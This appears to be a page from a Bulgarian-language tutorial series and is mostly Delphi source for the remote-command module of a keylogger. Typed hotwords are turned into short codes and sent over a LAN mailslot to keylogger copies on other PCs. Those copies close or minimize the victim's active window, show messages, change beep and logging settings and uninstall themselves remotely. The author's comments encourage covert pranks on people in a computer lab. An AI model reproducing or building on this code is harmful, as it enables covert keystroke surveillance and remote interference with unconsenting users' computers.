За някои може би ще е интересно как да направят програмите си да общуват през Lan. За целта аз използвах компонента ALMailSlot, които ще трябва и вие да си го свалите. Ако искате съвсем сам да си направите всичко можете да се консултирате с неговия сурс и да разберете как бачка mailslot в \/\/indows. Аз не съм се занимавал да го интегрирам в програмата, защото смятам, че така се изпуска възможността да се възползваме от хубавия компонент, който е направил човека. За да пращате нещо на някой ви трябва само името на компютъра (local machine) и текста, който сте измислили. Ето какво съм направил в програмата...

{tazi procedura se izvikva sled proverkata za hotword i proverqva dali sa pusnati GetPar1 ili GetPar2, za da dobavq St kum Par1(komputer) i Par2(komanda)}
procedure
CompileCmd;

procedure SendCmd(const APar1,APar2: string);
{Tuka se opravqt stringovete za izprashtane kum drugiq komputer. Mojete da vidite, 4e ne se izprashtat napravo vuvedenite ot vas komandi, a se izpolzvat oshte po sukrateni znaci za ukazvane na komandata}
var

  i: Integer;
  par,par1: string;
begin
  par:=LowerCase(Copy(APar2,0,2));
  par1:=LowerCase(Copy(APar2,2,1));
  if par='w&' then
  {tuk se kompilira komandata za smqna na imenata na prozorcite za prihvashtane. purvo se slaga "l" sledva nomera na izpratenite string-ove i sled tova sa izbroeni te}
    for i := 0 to 9 do
      Main.MailSlot1.SendMessage(Par1Str,Format('l%d%s',[i,WinLst[i]]))
    else begin
      {Sega zapochvat ostanalite proverki za validna komanda. Eto i purviq elementaren primer. Ako ste vuveli ;cmd;pc01;b?; nashata programa shte izprati "n" na programata ni na PC01. Tq estestveno znae kakvo trqbva da pravi i vednaga izpulnqva nasheto "razporejdane" :) Vuv slu4aq se izprashta zapitvane dali e vkliuchena opciqta Beep, no tova estestveno generira i otgovor ot strana na logger-a na drugiq komputer i na vas vi izliza napr. "Beep - enabled"}
      if par='b?' then par:='n';
      {sled tova mojete da smenite beep na drugiq komputer kato napishete ;cmd;pc01;b=0; . Programata prerabotva vashata zaqvka i izprashta o0 na PC01. Sukrashteniqta, koito se generirat, az sum gi napravil da sa ot po 1 bukva}
      if par='b=' then
      begin
        if par1='0' then par:='o0'
           else par:='o1'
      end;
      if par='de' then par:='a';
      if par='ex' then par:='b';
      {Ei tui cl shte izprati na drugiq keylogger "c" i ... Close Active Window. Onzi shte se chudi kakvo e stanalo, no ako e vuv vashata zala gledaite da ne se smeete mnogo da ne vi usetqt ;) }
      if par='cl' then par:='c';
      if par='l?' then par:='d';
      if par='l&' then par:=Format('e%d',[StrCount]);
      {Mojete da izpratite i suobshtenie nqkoi ot zalata. Naprimer vijdate nqkuv dreben deto qko zacukva Counter-Strike. Emi vednaga pishete ;cmd;dmem13;meEi dreben kakmo se pulish; i glei k'vo staa :DD}
      if par='me' then par:='f'+Copy(APar2,3,Length(APar2)-2);
      {tova muk tuk mu minimizira activniq prozorec}
  
  
  if par='mi' then par:='m';
            if par='p?' then par:='g';
      if par='p=' then
      begin
        if par1='0' then par:='h0'
          else par:='h1'
      end;
      if par='re' then par:='i';
      if par='sh' then par:='j';
      if par='s?' then par:='p';
      if par='s=' then
      begin
        if par1='0' then par:='q0'
          else par:='q1'
      end;
  
    {remote uninstall brat4e}
      if par='un' then par:='k';
      if par='w?' then par:='r';
      if par='w=' then
      begin
        if par1='0' then par:='s0'
          else par:='s1'
      end;
  
    {sled kato sme gotovi izprashtame suobshtenieto. tuka trqbva da se pravi i proverka na vremete zashtoto se poluchavat po 2-3 edni i sushti komandi na drugoto PC}
      Main.MailSlot1.SendMessage(APar1,Format('%s%s',[TimeToStr(Time),par]));
    end;
  end;

begin
  {malko rabota sus Par1Str i Par2Str kogato imame BkSpace ili Space}
  if (St=' BkSp ') and (GetPar1) then Delete(Par1Str,Length(Par1Str),1);
  if (St=' BkSp ') and (GetPar2) then Delete(Par2Str,Length(Par2Str),1);
  if (St=' Space ') and (GetPar1) then Par1Str:=Par1Str+' ';
  if (St=' Space ') and (GetPar2) then Par2Str:=Par2Str+' ';
  if Length(St)>1 then Exit;
  if (St=';') and (GetPar1) then
  {ako imame ; i e vkliuchen GetPar1 znachi vkliuchvame GetPar2, za da zapochnem da populvame sledvashtiq parametur - komandata}
  begin
    GetPar1:=false;
    GetPar2:=true;
    if DoBeep then MessageBeep(MB_OK);
    Exit;
  end;
  if (St=';') and (GetPar2) then
  {ako i nego go zapulnim izvikvame SendCmd i zarejdame LastCmd s novata komanta, za da mojem sled tova da polzvame ;repeat;}
  begin
    GetPar2:=false;
    if Par1Str='' then Par1Str:=OldPar1
      else OldPar1:=Par1Str;
    LastCmd.PCName:=Par1Str;
    LastCmd.Msg:=Par2Str;
    SendCmd(Par1Str,Par2Str);
    Par1Str:='';
    Par2Str:='';
    Exit;
  end;
  if GetPar1 then Par1Str:=Par1Str+St;
  if GetPar2 then Par2Str:=Par2Str+St;
end;

  Този mailslot е направо чудесен. Можете дори сега да си направите една програмка да изгаврите някой в залата.

  Тъй като TMain.MailSlot1NewMessage (какво се прави при получаване на команда) си има коментари няма да я изкарвам тук. Забележете само:

if Copy(Text,0,1)<>'l' then
begin
  if
LastTime=Copy(Text,0,7) then exit;
  LastTime:=Copy(Text,0,7);
  Delete(Text,0,7);
end;

  Ето тук от получения Text си отрязваме времето на изпращане и проверяваме дали вече не сме го получавали веднъж. Щеше да има проблеми, ако две команди се изпратят за 1 сек, но не ми се вярва да успеете да напишете ;cmd;pc09;b?; и ;cmd;pc09;ex; за толкова кратко.

назад
начало
напред